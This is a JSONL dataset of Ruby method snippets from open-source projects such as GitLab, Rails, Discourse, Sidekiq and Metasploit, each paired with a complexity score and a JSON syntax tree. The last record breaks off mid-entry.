{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/noteable.rb","start_line":170,"raw_source":"def lockable?\n    [MergeRequest, Issue].include?(self.class)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"lockable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},{\"type\":\"const\",\"children\":[null,\"Issue\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}","id":"50ee7232-1ddc-4e1c-9560-e49031c47bd7"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/middleware/chain.rb","start_line":141,"raw_source":"def insert_after(oldklass, newklass, *args)\n        i = entries.index { |entry| entry.klass == newklass }\n        new_entry = i.nil? ? Entry.new(@config, newklass, *args) : entries.delete_at(i)\n        i = entries.index { |entry| entry.klass == oldklass } || entries.count - 1\n        entries.insert(i + 1, new_entry)\n      end","complexity_score":29.18,"ast_json":"{\"type\":\"def\",\"children\":[\"insert_after\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"oldklass\"]},{\"type\":\"arg\",\"children\":[\"newklass\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"entries\"]},\"index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"klass\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"newklass\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_entry\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Entry\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@config\"]},{\"type\":\"lvar\",\"children\":[\"newklass\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"entries\"]},\"delete_at\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"or\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"entries\"]},\"index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"klass\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"oldklass\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"entries\"]},\"count\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"entries\"]},\"insert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvar\",\"children\":[\"new_entry\"]}]}]}]}","id":"1e2a8ac3-17f4-4934-82e1-8e97a66fb6ac"}
{"repo_name":"gl_command","file_path":"./repos/gl_command/spec/lib/gl_command/validatable_spec.rb","start_line":96,"raw_source":"def call\n          unless number.is_a?(Integer)\n            # This DOES NOT stop execution!\n            errors.add(:base, 'Number must be an integer')\n          end\n\n          context.something = \"Some #{number}\"\n        end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"number\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Integer\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"str\",\"children\":[\"Number must be an integer\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"something=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Some \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"number\"]}]}]}]}]}]}","id":"b5efd98b-1c82-4849-87db-b579d7e78c36"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/tree_summary.rb","start_line":63,"raw_source":"def next_offset(entries_count)\n      return if entries_count <= limit\n\n      offset + limit\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"next_offset\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entries_count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries_count\"]},\"<=\",{\"type\":\"send\",\"children\":[null,\"limit\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"offset\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"limit\"]}]}]}]}","id":"e1289b3d-04f5-4a29-a161-e732127e11c1"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/tag_helper_test.rb","start_line":256,"raw_source":"def test_tag_builder_with_block_in_erb\n    buffer = render_erb(\"<%= tag.div do %>Hello world!<% end %>\")\n    assert_dom_equal \"<div>Hello world!</div>\", buffer\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_tag_builder_with_block_in_erb\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buffer\",{\"type\":\"send\",\"children\":[null,\"render_erb\",{\"type\":\"str\",\"children\":[\"<%= tag.div do %>Hello world!<% end %>\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<div>Hello world!</div>\"]},{\"type\":\"lvar\",\"children\":[\"buffer\"]}]}]}]}","id":"0c92a278-affd-4e03-bccd-401029361ed0"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/api/v1/recommended_articles_lists_controller.rb","start_line":48,"raw_source":"def permitted_params\n        params.permit :name, :placement_area, :expires_at, :user_id,\n                      :article_ids, article_ids: []\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"placement_area\"]},{\"type\":\"sym\",\"children\":[\"expires_at\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"article_ids\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"article_ids\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"c71234b3-edfc-480e-a766-f95916dfcd5c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/subscribers/rails_cache.rb","start_line":11,"raw_source":"def cache_read_multi(event)\n          observe(:read_multi, event)\n\n          return unless current_transaction\n\n          labels = { store: extract_store_name(event) }\n          current_transaction.observe(:gitlab_cache_read_multikey_count, event.payload[:key].size, labels) do\n            buckets [10, 50, 100, 1000]\n            docstring 'Number of keys for mget in read_multi/fetch_multi'\n          end\n        end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_read_multi\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"observe\",{\"type\":\"sym\",\"children\":[\"read_multi\"]},{\"type\":\"lvar\",\"children\":[\"event\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_transaction\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"labels\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"store\"]},{\"type\":\"send\",\"children\":[null,\"extract_store_name\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_transaction\"]},\"observe\",{\"type\":\"sym\",\"children\":[\"gitlab_cache_read_multikey_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]},\"size\"]},{\"type\":\"lvar\",\"children\":[\"labels\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"buckets\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[50]},{\"type\":\"int\",\"children\":[100]},{\"type\":\"int\",\"children\":[1000]}]}]},{\"type\":\"send\",\"children\":[null,\"docstring\",{\"type\":\"str\",\"children\":[\"Number of keys for mget in read_multi/fetch_multi\"]}]}]}]}]}]}","id":"b689f558-a059-4b83-aa13-bd323d9ab759"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/pivot_container.rb","start_line":38,"raw_source":"def find_pivot_session(pivot_session_guid)\n    return self.pivot_sessions[pivot_session_guid]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_pivot_session\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pivot_session_guid\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"pivot_sessions\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"pivot_session_guid\"]}]}]}]}","id":"010f7192-8b18-48cd-8027-772b328f51a7"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/group_filter.rb","start_line":84,"raw_source":"def user_ids_for_filtering\n    scope = case operator\n            when \"*\", \"!*\"\n              all_groups\n            else\n              all_groups.where(id: values)\n            end\n\n    scope.joins(:users).pluck(Arel.sql(\"users_users.id\")).uniq.sort\n  end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"user_ids_for_filtering\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operator\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"*\"]},{\"type\":\"str\",\"children\":[\"!*\"]},{\"type\":\"send\",\"children\":[null,\"all_groups\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_groups\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"values\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"users\"]}]},\"pluck\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"users_users.id\"]}]}]},\"uniq\"]},\"sort\"]}]}]}","id":"f750fefe-ebeb-4a10-b169-847b31311b29"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb","start_line":120,"raw_source":"def cleanup\n    return unless @git_repo && @git_origin\n\n    vprint_status('Cleaning up the git changes...')\n    # delete the remote that was created\n    send_request_exec(@git_repo, ['remote', 'remove', @git_origin])\n    # unset the core.sshCommand value\n    send_request_exec(@git_repo, ['config', '--unset', 'core.sshCommand'])\n  ensure\n    super\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@git_repo\"]},{\"type\":\"ivar\",\"children\":[\"@git_origin\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Cleaning up the git changes...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_exec\",{\"type\":\"ivar\",\"children\":[\"@git_repo\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"remote\"]},{\"type\":\"str\",\"children\":[\"remove\"]},{\"type\":\"ivar\",\"children\":[\"@git_origin\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_exec\",{\"type\":\"ivar\",\"children\":[\"@git_repo\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"config\"]},{\"type\":\"str\",\"children\":[\"--unset\"]},{\"type\":\"str\",\"children\":[\"core.sshCommand\"]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"c9214f39-3ee9-48d5-828a-003f84e8bb2d"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/invite_redeemer.rb","start_line":28,"raw_source":"def initialize(\n    invite:,\n    email: nil,\n    username: nil,\n    name: nil,\n    password: nil,\n    user_custom_fields: nil,\n    ip_address: nil,\n    session: nil,\n    email_token: nil,\n    redeeming_user: nil\n  )\n    @invite = invite\n    @username = username\n    @name = name\n    @password = password\n    @user_custom_fields = user_custom_fields\n    @ip_address = ip_address\n    @session = session\n    @email_token = email_token\n    @redeeming_user = redeeming_user\n\n    ensure_email_is_present!(email)\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"invite\"]},{\"type\":\"kwoptarg\",\"children\":[\"email\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"username\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"password\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"user_custom_fields\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"ip_address\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"session\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"email_token\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"redeeming_user\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@invite\",{\"type\":\"lvar\",\"children\":[\"invite\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@username\",{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@password\",{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user_custom_fields\",{\"type\":\"lvar\",\"children\":[\"user_custom_fields\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@ip_address\",{\"type\":\"lvar\",\"children\":[\"ip_address\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@session\",{\"type\":\"lvar\",\"children\":[\"session\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@email_token\",{\"type\":\"lvar\",\"children\":[\"email_token\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@redeeming_user\",{\"type\":\"lvar\",\"children\":[\"redeeming_user\"]}]},{\"type\":\"send\",\"children\":[null,\"ensure_email_is_present!\",{\"type\":\"lvar\",\"children\":[\"email\"]}]}]}]}","id":"5cf97596-3a40-4e14-9ae1-1bad3ed3796d"}
{"repo_name":"flog","file_path":"./repos/flog/lib/flog.rb","start_line":227,"raw_source":"def initialize option = {}\n    super()\n    @option              = option\n    @mass                = {}\n    @parser              = nil\n    @threshold           = option[:threshold] || DEFAULT_THRESHOLD\n    self.auto_shift_type = true\n    self.reset\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"option\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@option\",{\"type\":\"lvar\",\"children\":[\"option\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@mass\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@parser\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@threshold\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"threshold\"]}]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_THRESHOLD\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"auto_shift_type=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"reset\"]}]}]}","id":"82ce0d92-a601-410b-b3b3-359fa04292ca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/base.rb","start_line":493,"raw_source":"def required_elements\n          elements.select(&:required?)\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"required_elements\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"elements\"]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"required?\"]}]}]}]}","id":"32b35cb3-cd50-406d-bd99-0dc417c517d6"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/open_api.rb","start_line":36,"raw_source":"def load_spec\n      spec_path = Rails.application.root.join(\"docs/api/apiv3/openapi-spec.yml\")\n\n      if spec_path.exist?\n        assemble_spec spec_path\n      else\n        raise \"Could not find openapi-spec.yml under #{spec_path}\"\n      end\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"load_spec\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"spec_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"docs/api/apiv3/openapi-spec.yml\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec_path\"]},\"exist?\"]},{\"type\":\"send\",\"children\":[null,\"assemble_spec\",{\"type\":\"lvar\",\"children\":[\"spec_path\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not find openapi-spec.yml under \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec_path\"]}]}]}]}]}]}]}","id":"a0ff0cc6-7f33-42e4-b166-36cb036f6044"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/email_receiver_worker.rb","start_line":16,"raw_source":"def perform(raw)\n    return unless should_perform?\n\n    @raw = raw\n    execute_receiver\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_perform?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@raw\",{\"type\":\"lvar\",\"children\":[\"raw\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_receiver\"]}]}]}","id":"2034808a-8705-414c-a266-1f7f0ed9b5e2"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/forgot_password_spec.rb","start_line":19,"raw_source":"def visit_reset_password_link\n    visit(\"/u/password-reset/#{password_reset_token}\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_reset_password_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/u/password-reset/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"password_reset_token\"]}]}]}]}]}","id":"9e88a30f-3f9c-4f41-83ef-672063de0928"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/spec/tunes/tunes_stubbing.rb","start_line":175,"raw_source":"def itc_stub_candidate_builds\n      stub_request(:get, \"https://appstoreconnect.apple.com/WebObjects/iTunesConnect.woa/ra/apps/898536088/versions/812106519/candidateBuilds\").\n        to_return(status: 200, body: itc_read_fixture_file('candidate_builds.json'), headers: { 'Content-Type' => 'application/json' })\n    end","complexity_score":3.7,"ast_json":"{\"type\":\"def\",\"children\":[\"itc_stub_candidate_builds\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"str\",\"children\":[\"https://appstoreconnect.apple.com/WebObjects/iTunesConnect.woa/ra/apps/898536088/versions/812106519/candidateBuilds\"]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"itc_read_fixture_file\",{\"type\":\"str\",\"children\":[\"candidate_builds.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]}]}","id":"b2f75c64-2ef5-497b-85ea-e709cd85d4c2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/legacy_github_import/client.rb","start_line":123,"raw_source":"def rate_limit\n        api.rate_limit!\n      # GitHub Rate Limit API returns 404 when the rate limit is\n      # disabled. In this case we just want to return gracefully\n      # instead of spitting out an error.\n      rescue ::Octokit::NotFound\n        nil\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"rate_limit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api\"]},\"rate_limit!\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Octokit\"]},\"NotFound\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"b9b3c097-aebe-459c-b3f3-24218627b5d9"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/actions_test.rb","start_line":325,"raw_source":"def test_environment_with_block_should_include_block_contents_with_multiline_data_in_environment_initializer_block\n    run_generator\n    data = <<-RUBY\n      config.encoding = \"utf-8\"\n      config.time_zone = \"UTC\"\n    RUBY\n    action(:environment) { data }\n    assert_file \"config/application.rb\", /  class Application < Rails::Application\\n#{Regexp.escape(data.strip_heredoc.indent(4))}/\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_environment_with_block_should_include_block_contents_with_multiline_data_in_environment_initializer_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\"]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      config.encoding = \\\"utf-8\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"      config.time_zone = \\\"UTC\\\"\\n\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\",{\"type\":\"sym\",\"children\":[\"environment\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"config/application.rb\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"  class Application < Rails::Application\\\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"strip_heredoc\"]},\"indent\",{\"type\":\"int\",\"children\":[4]}]}]}]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"f505abcd-caaf-4051-bf69-8a2f8a16d709"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/xml_mini/libxml.rb","start_line":43,"raw_source":"def to_hash(hash = {})\n        node_hash = {}\n\n        # Insert node hash into parent hash correctly.\n        case hash[name]\n        when Array then hash[name] << node_hash\n        when Hash  then hash[name] = [hash[name], node_hash]\n        when nil   then hash[name] = node_hash\n        end\n\n        # Handle child elements\n        each_child do |c|\n          if c.element?\n            c.to_hash(node_hash)\n          elsif c.text? || c.cdata?\n            node_hash[CONTENT_ROOT] ||= +\"\"\n            node_hash[CONTENT_ROOT] << c.content\n          end\n        end\n\n        # Remove content node if it is blank\n        if node_hash.length > 1 && node_hash[CONTENT_ROOT].blank?\n          node_hash.delete(CONTENT_ROOT)\n        end\n\n        # Handle attributes\n        each_attr { |a| node_hash[a.name] = a.value }\n\n        hash\n      end","complexity_score":50.03,"ast_json":"{\"type\":\"def\",\"children\":[\"to_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"hash\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"node_hash\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"name\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"node_hash\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"lvar\",\"children\":[\"node_hash\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"lvar\",\"children\":[\"node_hash\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_child\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"element?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"to_hash\",{\"type\":\"lvar\",\"children\":[\"node_hash\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"text?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"cdata?\"]}]},{\"type\":\"begin\",\"children\":[